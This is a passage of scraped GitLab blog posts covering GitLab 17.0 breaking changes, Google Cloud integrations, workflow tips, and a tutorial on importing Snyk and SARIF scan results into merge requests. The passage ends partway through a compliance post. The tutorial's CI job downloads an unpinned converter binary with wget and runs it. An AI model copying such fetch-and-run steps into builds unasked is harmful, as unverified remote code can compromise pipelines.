[scopes](https://docs.gitlab.com/ee/user/packages/dependency_proxy/#authenticate-with-the-dependency-proxy).\n    - Because tokens without the required scopes will fail, this may break pipelines by rejecting docker login and docker pull requests.\n\n- [Maven repository group permissions](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#breaking-change-to-the-maven-repository-group-permissions)\n    - Impacts projects using the Maven repository at the group level where user permissions are not set up correctly.\n    - Because users without correct permissions will fail to access the requested packages, this change may break pipelines for those users.\n\n### GitLab.com\n- [Upgrading the operating system version of GitLab SaaS runners on Linux](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#upgrading-the-operating-system-version-of-gitlab-saas-runners-on-linux)\n    - Impacts pipelines using `saas-linux-*-amd64` tagged shared runners on GitLab.com that use outdated Docker-in-Docker or Kaniko versions.\n    - The outdated versions will be unable to detect the container runtime and fail, breaking the pipeline.\n\n- [Deprecating Windows Server 2019 in favor of 2022](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#deprecating-windows-server-2019-in-favor-of-2022)\n    - Impacts pipelines using `shared-windows` and `windows-1809` tagged shared runners on GitLab.com.\n    - Affected jobs will not be picked up by runners, thus blocking the pipeline.\n    - You can identify affected jobs by [searching](https://docs.gitlab.com/ee/user/search/exact_code_search.html) for the deprecated tags in your .yml files.\n\n- [Removal of tags from small SaaS runners on Linux](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#removal-of-tags-from-small-saas-runners-on-linux)\n    - Impacts pipelines using shared runners tagged `docker`, `east-c`, `gce`, `git-annex`, `linux`, `mongo`, `mysql`, `ruby`, or  `shared` on GitLab.com.\n    - Affected jobs will not be picked up by runners, thus blocking the pipeline.\n    - You can identify affected jobs by [searching](https://docs.gitlab.com/ee/user/search/exact_code_search.html) for the deprecated tags in your .yml files.\n\n### Ultimate only\n- [Security policy fields newly_detected and match_on_inclusion are deprecated](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#security-policy-field-newly_detected-is-deprecated)\n    - Impacts groups and projects that have merge request approval policies (previously: scan result policies) enabled and use the deprecated keywords.\n    - Without migration, the rules enforced by the policies will stop working, causing potential compliance violations.\n\n- [Required Pipeline Configuration is deprecated](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#required-pipeline-configuration-is-deprecated)\n    - Impacts Ultimate self-managed customers using required pipeline configuration.\n    - Without migration, the required configuration will no longer be used by projects, impacting all pipelines that are run on the instance.\n\n- [Proxy-based DAST is deprecated](https://docs.gitlab.com/ee/update/deprecations.html#proxy-based-dast-deprecated)\n    - Impacts projects that are using DAST with the variable `DAST_BROWSER_SCAN` set to false.\n    - Without migration, DAST scans in existing pipelines will fail.\n    - Follow the recommended changes outlined in the [DAST migration guide](https://docs.gitlab.com/ee/user/application_security/dast/proxy_based_to_browser_based_migration_guide.html) to ensure DAST can continue scanning your applications.\n\n## See all removals in GitLab 17.0\n\nFor more detailed information and to see all the removals coming up in this year's major release, please visit the [Deprecations page](https://docs.gitlab.com/ee/update/deprecations?removal_milestone=17.0).\n\n> Live demo! Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Register today!](https://about.gitlab.com/seventeen/)\n",[479,695,774],{"slug":6353,"featured":92,"template":678},"a-guide-to-the-high-impact-breaking-changes-in-gitlab-17-0","content:en-us:blog:a-guide-to-the-high-impact-breaking-changes-in-gitlab-17-0.yml","A Guide To The High Impact Breaking Changes In Gitlab 17 0","en-us/blog/a-guide-to-the-high-impact-breaking-changes-in-gitlab-17-0.yml","en-us/blog/a-guide-to-the-high-impact-breaking-changes-in-gitlab-17-0",{"_path":6359,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6360,"content":6365,"config":6370,"_id":6372,"_type":16,"title":6373,"_source":17,"_file":6374,"_stem":6375,"_extension":20},"/en-us/blog/gitlab-google-cloud-integrations-now-in-public-beta",{"title":6361,"description":6362,"ogTitle":6361,"ogDescription":6362,"noIndex":6,"ogImage":1832,"ogUrl":6363,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6363,"schema":6364},"GitLab-Google Cloud integrations now in public beta","The multiple integrations streamline authentication, automate CI/CD, and reduce context switching across GitLab and Google Cloud.","https://about.gitlab.com/blog/gitlab-google-cloud-integrations-now-in-public-beta","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab-Google Cloud integrations now in public beta\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jackie Porter\"}],\n        \"datePublished\": \"2024-04-09\",\n      }",{"title":6361,"description":6362,"authors":6366,"heroImage":1832,"date":6367,"body":6368,"category":736,"tags":6369},[2985],"2024-04-09","In 2023, we announced our plan [to integrate GitLab with Google Cloud](https://about.gitlab.com/blog/gitlab-google-partnership-s3c/). This week, at Google Cloud Next '24, we are announcing that our first integrations from that partnership are now in public beta. \n\nThese critical integrations streamline authentication, automate CI/CD, and decrease context switching across GitLab and Google Cloud, reducing the friction involved in using the two and improving the overall developer experience by helping them focus on deploying code, and not setting up infrastructure. GitLab users can learn [how to set up the GitLab-Google Cloud integrations](https://docs.gitlab.com/ee/tutorials/set_up_gitlab_google_integration/).\n\n## Streamline authentication\n\nWhen organizations want to use GitLab and Google Cloud together, they typically need to use a service account key to access Google Cloud resources from GitLab. This approach can present an unnecessary security risk and add additional maintenance burden.\n\nWith the new GitLab-Google Cloud integration, GitLab customers can use industry-standard methods identity and access management ([IAM](https://cloud.google.com/security/products/iam)) and Workload Identity Federation ([WLIF](https://cloud.google.com/iam/docs/workload-identity-federation)) for authentication. This replaces the need for cross-system service accounts, decreasing the risk associated with service account keys, and minimizing management overhead for rotating keys. To learn more about setting up IAM and WLIF, read our [documentation](https://docs.gitlab.com/ee/integration/google_cloud_iam.html).\n\nWe also added a method to streamline authentication from CI/CD pipelines using a developer-minded approach with a new identity keyword. Learn more in the [identity keyword documentation](https://docs.gitlab.com/ee/ci/yaml/#identity).\n\n## Automate CI/CD\n\nA primary objective of the GitLab-Google Cloud partnership is to help organizations deploy applications to Google Cloud faster. With this in mind, we have built two mechanisms to support that: runner configuration automation and a library of Google Cloud Services components.\n\nRunners are the backbone of all CI/CD jobs, but installing, managing, and updating them can be time-consuming and inefficient. GitLab offers [runners](https://docs.gitlab.com/ee/ci/runners/) built on infrastructure as code (IaC) best practices, which means we provision and manage runners for you, including deleting them once they’ve done their job. With our runner configuration automation for Google Cloud, our hosted runners are now available to users on Google Cloud, without needing to leave GitLab.\nCheck out our [setup documentation](https://docs.gitlab.com/ee/tutorials/set_up_gitlab_google_integration/#set-up-gitlab-runner-to-execute-your-cicd-jobs-on-google-cloud) to learn more.\n\nWe’ve also worked with Google Cloud to provide a [library of Google components in GitLab’s CI/CD Catalog](https://gitlab.com/google-gitlab-components). These components make it easy to configure your pipelines to deploy to Google Cloud Services, including Google Kubernetes Engine, Artifact Registry, and Cloud Deploy. Rather than search the web for the right YAML configurations, simply browse the CI/CD Catalog within GitLab and import the component configuration into your pipeline’s .yml file.\n\n![gitlab-google image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677557/Blog/Content%20Images/Screenshot_2024-04-09_at_11.43.27_AM.png)\n\n> Learn more about [how to use Google Cloud Components](https://docs.gitlab.com/ee/tutorials/set_up_gitlab_google_integration/#deploy-to-google-cloud-with-cicd-components).\n\n## Reduce context switching\n\nGitLab and Google Cloud together create a single data plane for all your software development needs, from source code management to deployment. This means full visibility into your product performance metrics, security and compliance policies, and insights to empower you to optimize your software delivery process – all without having to context switch between multiple systems. For users of Google Cloud and GitLab, this is a game changer.\n\nOur guiding principles throughout this integration plan were developer experience and efficiency. As an example, check out this demo showing how simple it is to integrate GitLab with Google Cloud Artifact Registry.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/CcPl3k3IHjM?si=XNfGnK9Qlx7XxD3v\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## What’s next?\n\nWe are now in beta and welcome your feedback. To begin using the Google Cloud integrations, follow the steps in this [tutorial](https://docs.gitlab.com/ee/tutorials/set_up_gitlab_google_integration/).",[923,232,736],{"slug":6371,"featured":92,"template":678},"gitlab-google-cloud-integrations-now-in-public-beta","content:en-us:blog:gitlab-google-cloud-integrations-now-in-public-beta.yml","Gitlab Google Cloud Integrations Now In Public Beta","en-us/blog/gitlab-google-cloud-integrations-now-in-public-beta.yml","en-us/blog/gitlab-google-cloud-integrations-now-in-public-beta",{"_path":6377,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6378,"content":6384,"config":6388,"_id":6390,"_type":16,"title":6391,"_source":17,"_file":6392,"_stem":6393,"_extension":20},"/en-us/blog/top-10-gitlab-workflow-hacks-you-need-to-know",{"title":6379,"description":6380,"ogTitle":6379,"ogDescription":6380,"noIndex":6,"ogImage":6381,"ogUrl":6382,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6382,"schema":6383},"Top 10 GitLab workflow hacks you need to know","A GitLab product manager shares her favorite tricks to navigate quickly and efficiently around the GitLab DevSecOps Platform and to boost team collaboration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099361/Blog/Hero%20Images/Blog/Hero%20Images/lightvisibility_lightvisibility.png_1750099361252.png","https://about.gitlab.com/blog/top-10-gitlab-workflow-hacks-you-need-to-know","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top 10 GitLab workflow hacks you need to know\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-04-09\",\n      }",{"title":6379,"description":6380,"authors":6385,"heroImage":6381,"date":6367,"body":6386,"category":962,"tags":6387},[1894],"In the world of software development, efficiency isn't just about moving fast – it's about smart navigation. As a GitLab product manager, I truly understand the value of efficiency when working within the DevSecOps platform. These are my top 10 favorite GitLab features and they might be the workflow hacks you never knew you needed.\n\nLet's dive into these hidden gems to unlock a new level of productivity and collaboration within your team.\n\n## 1. Resolve comments\n\nNot just for merge requests! Resolving comments on issues can significantly reduce noise and streamline task management. It's particularly handy for managing feedback efficiently.\n\n> **Why do I love it?** Not only does resolving comments reduce the noise on an issue, but it’s also a great way to manage tasks.\n>\n> **Use case.** Resolving comments is a great tool for issues where you are collecting feedback – respond to the feedback and provide a link, resolve the comment, and move on to the next one.\n>\n> __[How-to documentation](https://docs.gitlab.com/ee/user/discussions/#resolve-a-thread)__\n\n![example of resolve comments - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099376147.gif)\n\n\u003Cp>\u003C/p>\n\n## 2. Internal comments\n\nSpeak directly to your team without an external audience. Keep discussions private within an issue or merge request with comments visible only to your team members. It's the perfect balance between transparency and privacy.\n\n> **Why do I love it?** It balances privacy with transparency, while keeping the broader discussion open for the community.\n>\n> **Use case.** When coordinating a product launch, your marketing team can use internal comments to discuss and refine messaging and strategy. This keeps your discussions centralized and easily accessible to the team while in draft mode.\n>\n> **[How-to documentation](https://docs.gitlab.com/ee/user/discussions/#add-an-internal-note)**\n\n![internal comments example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099376148.png)\n\n\u003Cp>\u003C/p>\n\n## 3. And/or in filters\n\nWhen searching records on a listing page, using and/or filters can help you slice through the noise and find exactly what you're looking for quickly and efficiently.\n\n> **Why do I love it?** Perfect for finding exactly what you need, powering efficient and streamlined workflows.\n>\n>**Use case.** Search for feature issues related to a specific initiative that are assigned to specific groups.\n>\n> __[How-to documentation](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#filter-with-the-or-operator)__\n\n![and/or filter example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/and_or__1__aHR0cHM6_1750099376152.gif)\n\n\u003Cp>\u003C/p>\n\n## 4. Auto expand URLs\n\nAppending '+' or '+s' to the end of a GitLab URL transforms it into an informative snippet, allowing you to share progress without forcing your teammates to leave the page.\n\n> **Why do I love it?** It's like having x-ray vision for URLs – see the important stuff without even clicking!\n>\n> **Use case.** Sharing progress in comments? Just add '+s' to the link, and boom – everyone's instantly on the same page.\n>\n> __[How-to documentation](https://docs.gitlab.com/ee/user/markdown.html#show-the-issue-merge-request-or-epic-title-in-the-reference)__\n\n![auto expand URLs example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750099376154.gif)\n\n\u003Cp>\u003C/p>\n\n## 5. Quick actions\n\nWith simple text commands, quick actions let you perform tasks like assigning users, adding labels, and more, directly from the description or comment box, saving you clicks and time.\n\n> **Why do I love it?** Saves clicks and time.\n>\n> **Use case.** When creating a new issue I use quick actions to automatically add labels, a milestone, and connect to the epic upon saving the record.\n>\n> __[How-to documentation](https://docs.gitlab.com/ee/user/project/quick_actions.html)__\n\n![quick actions example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099376156.gif)\n\n\u003Cp>\u003C/p>\n\n## 6. Bulk edit\n\nApply labels, change assignees, or update milestones for multiple issues at once. This feature turns potentially tedious updates into a breeze, allowing for quick adjustments across numerous issues.\n\n> **Why do I love it?** Because it turns tedious updates into quick updates!\n>\n> **Use case.** Need to tag the whole sprint's issues as Review needed? Just filter, select all, and add that label in bulk – easy peasy.\n>\n> __[How-to documentation](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#bulk-edit-issues-from-a-project)__\n\n![bulk edit example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099376157.gif)\n\n\u003Cp>\u003C/p>\n\n## 7. Epic swimlanes\n\nGroup issues under epics on your board to visually track and discuss progress. It's a powerful way to contextualize work during reviews or standups.\n\n> **Why do I love it?** Easily understand the context of work as you’re walking the board.\n>\n> **Use case.** Group by epic during standup reviews to easily piece together work with its parent initiative.\n>\n> __[How-to documentation](https://docs.gitlab.com/ee/user/project/issue_board.html#group-issues-in-swimlanes)__\n\n![epic swimlanes example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099376158.gif)\n\n\u003Cp>\u003C/p>\n\n## 8. Wiki diagrams\n\nIllustrate ideas and workflows directly in your wiki pages with easy-to-create diagrams. This feature supports visual learning and simplifies complex concepts.\n\n> **Why do I love it?** It’s incredibly user-friendly and flexible.\n>\n> **Use case.** When outlining a new feature workflow, draw it directly in the wiki page, making it crystal clear for everyone on the team.\n>\n> __[How-to documentation](https://docs.gitlab.com/ee/administration/integration/diagrams_net.html)__\n\n![wiki diagrams example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099376159.gif)\n\n\u003Cp>\u003C/p>\n\n## 9. Table creation\n\nForget about wrestling with markdown for table creation. The rich text editor lets you effortlessly insert and format tables, making documentation cleaner and more structured.\n\n> **Why do I love it?** It turns the table creation ordeal into a breeze, making updates clean and structured with just a few clicks.\n>\n> **Use case.** Compiling a sprint retro? Quickly insert a table to organize feedback, action items, and owners, making the review process smoother for everyone.\n>\n> __[How-to documentation](https://docs.gitlab.com/ee/user/rich_text_editor.html#tables)__\n\n![table creation example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750099376160.gif)\n\n\u003Cp>\u003C/p>\n\n## 10. Video and GIF embeds\n\nEnhance your issues and epic descriptions or comments with embedded GIFs and YouTube videos, adding a dynamic layer to your communication.\n\n> **Why do I love it?** Sometimes a GIF or video speaks better than words.\n>\n> **Use case.** Trying to explain a UI bug? Embed a YouTube video for a quick walkthrough of the proposed feature enhancement.\n\n![video and gif embed example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099376/Blog/Content%20Images/Blog/Content%20Images/gif__1__aHR0cHM6_1750099376161.gif)\n\n\u003Cp>\u003C/p>\n\n## Explore these features\n\nThese features represent just the tip of the iceberg in GitLab's comprehensive toolkit designed to boost efficiency and foster better collaboration. While they may be underutilized, their impact on your workflow could be substantial. I encourage you to explore these features further and integrate them into your daily routines.\n\n> Are you excited to power your DevSecOps workflow using GitLab? [Try GitLab Ultimate for free for 30 days](https://gitlab.com/-/trial_registrations/new).\n",[696,479,754,1444],{"slug":6389,"featured":6,"template":678},"top-10-gitlab-workflow-hacks-you-need-to-know","content:en-us:blog:top-10-gitlab-workflow-hacks-you-need-to-know.yml","Top 10 Gitlab Workflow Hacks You Need To Know","en-us/blog/top-10-gitlab-workflow-hacks-you-need-to-know.yml","en-us/blog/top-10-gitlab-workflow-hacks-you-need-to-know",{"_path":6395,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6396,"content":6402,"config":6407,"_id":6409,"_type":16,"title":6410,"_source":17,"_file":6411,"_stem":6412,"_extension":20},"/en-us/blog/integrate-external-security-scanners-into-your-devsecops-workflow",{"title":6397,"description":6398,"ogTitle":6397,"ogDescription":6398,"noIndex":6,"ogImage":6399,"ogUrl":6400,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6400,"schema":6401},"Integrate external security scanners into your DevSecOps workflow","Learn how to bring Snyk scan results into the merge request widget by parsing JSON artifacts and leveraging the SARIF file format.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098768/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%282%29_1khno1AUtxuL6zzmEmjK7v_1750098768560.png","https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Integrate external security scanners into your DevSecOps workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Morris\"}],\n        \"datePublished\": \"2024-04-08\",\n      }",{"title":6397,"description":6398,"authors":6403,"heroImage":6399,"date":6404,"body":6405,"category":674,"tags":6406},[5075],"2024-04-08","Each day you build software there is another opportunity for security vulnerabilities to creep into production. So it is becoming more important than ever to shift security left and put security tests and the vulnerabilities they detect at the forefront of your software development lifecycle.\n\nWhile GitLab offers a wide range of different security scanners, our AI-powered DevSecOps platform provides full visibility into the security of your software. We seek to allow you to not only run scans, but also to view results, bake in approval processes via merge request policies, and display current vulnerabilities in your default branch for future triage in our Vulnerability Report.\n\n## How do security scans run?\n\nGitLab Ultimate displays your vulnerabilities directly in the merge request widget and it updates on every commit. These scans typically run via jobs in a pipeline, whether in the project’s `.gitlab-ci.yml` pipeline or in a separately-controlled [compliance pipeline](https://docs.gitlab.com/ee/user/group/compliance_pipelines.html), [security policy](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html), or [included pipeline configuration](https://docs.gitlab.com/ee/ci/yaml/includes.html) from a separate .yml file. You can run GitLab’s native security scanners or you can run an external scanner. For this blog post, I took running Snyk scans for a spin to see how I could feed the dependency scan results as vulnerability records back into GitLab. Additionally, I utilized a Static Analysis Results Interchange Format (SARIF) converter to read SAST results directly from Snyk without custom scripting. \n\n## Using external scanners\n\nGitLab is highly extensible, and the platform allows for you to integrate myriad tools. You can use one of our built-in security scanners, or use an external scanner via a job in a pipeline or policy. GitLab serves as a single platform for governance and enforcement, allowing you to bring your own scanners and see the results early in the DevSecOps lifecycle.\n\nAll you have to do to get started is run a security job, and from there you can obtain the results in the merge request and the vulnerability report.\n\n## Run an external scan from GitLab CI\n\nIn this example pipeline, I run a Snyk scan externally in the test stage in a job I overrode called `gemnasium-maven-dependency_scanning`. First, I install the required packages (npm, Maven, Python3, and Snyk) and then I authorize with my SNYK_TOKEN variable saved in the variables section of my project. Finally, I run a `snyk test` command with the Snyk CLI and output the results to the JSON. This saves my results to the snyk_data_file.json, which I will parse in a script detailed in the next section and save to the required artifact file `gl-dependency-scanning-report.json`.\n\n```\nstages:\n  - test\n\nvariables:\n\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml  \n\ngemnasium-maven-dependency_scanning:\n  image: node:latest\n  stage: test\n  services:\n  - openjdk:11-jre-slim-buster\n  before_script:\n    - apt-get update\n    - apt-get install default-jdk -y\n  script:\n    # Install npm, snyk, and maven\n    - npm install -g npm@latest\n    - npm install -g snyk\n    - npm install maven\n    - npm install python3\n    # Run snyk auth, snyk monitor, snyk test to break build and out report\n    - snyk auth $SNYK_TOKEN\n    - chmod +x mvnw\n    - snyk test --all-projects --json-file-output=snyk_data_file.json || true\n    - python3 convert-snyk-to-gitlab.py\n\n  # Save report to artifacts\n  artifacts:\n    when: always\n    paths: \n      - gl-dependency-scanning-report.json\n\n```\n\n### Parse the JSON\n\nYou can see scan results in the merge request widget from any external scanner as long as the artifact of the successful security job is named appropriately, for example, `gl-dependency-scanning-report.json`.  \n\nHere is an example script that converts the Snyk JSON output to the GitLab JSON output. In this example, I open the Snyk data file and load the vulnerability data. I create a new list of dependency files and a new list of vulnerabilities that contain data GitLab needs to display in the vulnerability records, such as the identifier, severity, category, description, and location. I added a few placeholder sections for required fields that I did not need to display in my record. Finally, I saved the contents I parsed out to a new JSON file called `gl-dependency-scanning-report.json`, which is the required name for the file to be read by GitLab and have its contents displayed in the widget.\n\n```\nimport json\nfrom types import SimpleNamespace\n\nwith open(\"snyk_data_file.json\") as snyk_data_file:\n    snyk_data = json.load(snyk_data_file, object_hook=lambda d: SimpleNamespace(**d))\n\ngitlab_vulns = []\ndependency_files = []\nfor i in snyk_data:\n    dependency_files.append({\"path\": i.path, \"package_manager\": i.packageManager, \"dependencies\": []})\n    for v in i.vulnerabilities:\n        gitlab_identifiers = []\n        for vuln_type, vuln_names in v.identifiers.__dict__.items():\n            if vuln_names: \n                for vuln_name in vuln_names:\n                    gitlab_identifiers.append({\"type\": vuln_type, \"name\": vuln_name, \"value\": vuln_name.partition(\"-\")[2]})\n                gitlab_vulns.append({\"id\": v.id, \"category\": \"dependency_scanning\", \"severity\": v.severity.capitalize(), \"identifiers\": gitlab_identifiers, \"description\": v.description, \"location\": {\"file\": i.displayTargetFile, \"dependency\": {\"package\": {\"name\": \"PLACEHOLDER\"}, \"version\": \"PLACEHOLDER\"}}})\n\n# Dummy data for scan and dependency files \nfull_json = {\"version\": \"15.0.6\", \"dependency_files\": dependency_files, \"scan\": {\"analyzer\": {\"id\": \"snyk\", \"name\": \"Snyk\", \"vendor\": {\"name\": \"Snyk\"}, \"version\": \"1.0.2\"}, \"scanner\": {\"id\": \"my-snyk-scanner\", \"name\": \"My Snyk Scanner\", \"version\": \"1.0.2\", \"vendor\": {\"name\": \"Snyk\"}}, \"end_time\": \"2022-01-28T03:26:02\", \"start_time\": \"2020-01-28T03:26:02\", \"status\": \"success\", \"type\": \"dependency_scanning\"}, \"vulnerabilities\": gitlab_vulns}\n\nwith open(\"gl-dependency-scanning-report.json\", \"w\") as gitlab_file:\n    json.dump(full_json, gitlab_file, default=vars)\n\n```\n\nNow, the vulnerability findings are visible in the merge request widget.\n\n![security scanning detection](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098776/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098776479.png)\n\n## What are SARIF and the SARIF converter?\n\nSARIF is a file format for the output of static analysis tools. It is incredibly useful when leveraging different security scanners, as all of their output is formatted the same way. This allows for a generic, repeatable, and scalable approach to application security.\n\nThere is a community-maintained [SARIF converter](https://gitlab.com/ignis-build/sarif-converter), which takes SARIF files and converts them into ingestible reports. It supports many scanners, including Snyk. This converter works for both SAST and code quality findings. We are going to focus on SAST for this blog.\n\n### Use a SARIF converter to get SAST results\n\nTo leverage the SARIF results, first I trigger a Snyk scan as we did in the previous example, but I save the output to a SARIF file. After this, I use the aforementioned converter to create a new JSON file that I save as a report.\n\n```\nsnyk:\n  image: node:latest\n  stage: test\n  services:\n  - openjdk:11-jre-slim-buster\n  before_script:\n    - apt-get update\n    - apt-get install default-jdk -y\n    - wget -O sarif-converter https://gitlab.com/ignis-build/sarif-converter/-/releases/permalink/latest/downloads/bin/sarif-converter-linux\n    - chmod +x sarif-converter\n  script:\n    # Install npm, snyk, and maven\n    - npm install -g npm@latest\n    - npm install -g snyk\n    - npm install maven\n    # Run snyk auth, snyk monitor, snyk test to break build and out report\n    - snyk auth $SNYK_TOKEN\n    - chmod +x mvnw\n    - snyk test --all-projects --sarif-file-output=snyk.sarif  || true\n    - ./sarif-converter --type sast snyk.sarif snyk.json\n\n  artifacts:\n    reports:\n      sast: snyk.json\n\n```\n\nAfter saving the JSON as an artifact, the results are visible in the merge request widget.\n\n![security scanning - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098776/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098776479.png)\n\n## Get started\n\nIn this blog post, you learned how to use both custom scripting and a SARIF converter to view external scanner vulnerabilities in the GitLab merge request widget. These operations can be completed from the pipeline as shown, but also from compliance pipelines and pipeline execution policies, which allow for the enforcement of external scanners. With GitLab Ultimate. you have access to a full DevSecOps platform that allows you to use our scanners or bring your own, but build a shift-left workflow that empowers developers to remediate vulnerabilities before they hit production.\n\n> [Trial GitLab Ultimate today](https://gitlab.com/-/trials/) to begin merging external scanners.\n\n## More security scanning resources\n\n* [Security scanner integration documentation](https://docs.gitlab.com/ee/development/integrations/secure.html)\n* [How to integrate custom security scanners into GitLab](https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab/)\n* [GitLab Trust Center](https://about.gitlab.com/security/)\n",[674,696,942],{"slug":6408,"featured":6,"template":678},"integrate-external-security-scanners-into-your-devsecops-workflow","content:en-us:blog:integrate-external-security-scanners-into-your-devsecops-workflow.yml","Integrate External Security Scanners Into Your Devsecops Workflow","en-us/blog/integrate-external-security-scanners-into-your-devsecops-workflow.yml","en-us/blog/integrate-external-security-scanners-into-your-devsecops-workflow",{"_path":6414,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6415,"content":6421,"config":6426,"_id":6428,"_type":16,"title":6429,"_source":17,"_file":6430,"_stem":6431,"_extension":20},"/en-us/blog/building-gitlab-with-gitlab-expanding-our-security-certification-portfolio",{"title":6416,"description":6417,"ogTitle":6416,"ogDescription":6417,"noIndex":6,"ogImage":6418,"ogUrl":6419,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6419,"schema":6420},"Building GitLab with GitLab: Expanding our security certification portfolio","Learn how the Security Compliance team uses the Agile planning and security features in the GitLab DevSecOps Platform to manage the certification process.\n\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659740/Blog/Hero%20Images/building-gitlab-with-gitlab-no-type.png","https://about.gitlab.com/blog/building-gitlab-with-gitlab-expanding-our-security-certification-portfolio","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building GitLab with GitLab: Expanding our security certification portfolio\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Madeline Lake\"}],\n        \"datePublished\": \"2024-04-04\",\n      }",{"title":6416,"description":6417,"authors":6422,"heroImage":6418,"date":6423,"body":6424,"category":1897,"tags":6425},[670],"2024-04-04","We recently expanded [our compliance certification portfolio](https://about.gitlab.com/security/) to include the automotive industry's [TISAX](https://about.gitlab.com/blog/gitlab-drives-automotive-industry-information-security-with-tisax/) and to support the issuance of the first [GitLab Dedicated](https://about.gitlab.com/dedicated/) [SOC 2 Type 2](https://www.aicpa-cima.com/topic/audit-assurance/audit-and-assurance-greater-than-soc-2). GitLab's Security Compliance team is a proponent of [dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding) our platform, including our integrated project management and security features, so we accomplished this expansion using the GitLab DevSecOps Platform.\n\nIn this blog, we'll share the details of how we successfully leveraged GitLab's native features to implement security controls, enabling us to scale our compliance efforts and deliver results faster. You'll also learn how you can put these features to work in your own organization.\n\n> Start using GitLab for compliance today with [a free trial](https://gitlab.com/-/trials/).\n\n## Agile planning\n\nOur security certifications structure is built upon GitLab's [Agile planning](https://about.gitlab.com/solutions/agile-delivery/) features, allowing us to deliver results faster by managing requirements centrally and streamlining our workflows. Using Agile planning features also enables end-to-end visibility throughout compliance audits.\n\n1. **[Epics](https://docs.gitlab.com/ee/user/group/epics/), [issues](https://docs.gitlab.com/ee/user/project/issues/), and [labels](https://docs.gitlab.com/ee/user/project/labels.html).** We leverage a parent epic to outline all the external certifications that are ongoing, and child epics for each individual certification. Each child epic contains issues for each work stream related to the certification, as well as evidence requests from the external auditor. Parent and child epics allow for project management and visibility across the organization on the audit cycle's current status.\n\n2. **Recurring issues.** Every audit has standard request items and tasks that need to be performed. Therefore, to increase efficiency, we have a variety of recurring issues that are automatically created for each audit cycle that populate the task and/or request details, assignee, and due date. Recurring issues can be configured in a [CI pipeline](https://docs.gitlab.com/ee/ci/pipelines/schedules.html).\n\n3. **[Labels](https://docs.gitlab.com/ee/user/project/labels.html) and [issue boards](https://docs.gitlab.com/ee/user/project/issue_board.html).** Labels and issue boards are used to plan, organize, and visualize workflows. The Security Compliance team leverages issue boards to not only track status, but also to track and group identified deficiencies relating to our compliance requirements. Issue boards allow for visibility of all issues related to a given program by their risk classification and current remediation status.\n\nThese Agile planning features ensure that compliance teams are able to leverage the same platform as their engineers, promoting transparency and efficient delivery of results.\n\n## Security\n\nEach of GitLab’s security certifications has security and compliance requirements that must be operating effectively to achieve certification.\n\nGitLab offers native features within the platform that enable security and the achievement of industry-standard requirements.\n\nWe leveraged these key security features for our certifications and you can, too:\n\n1. **[Merge request approval 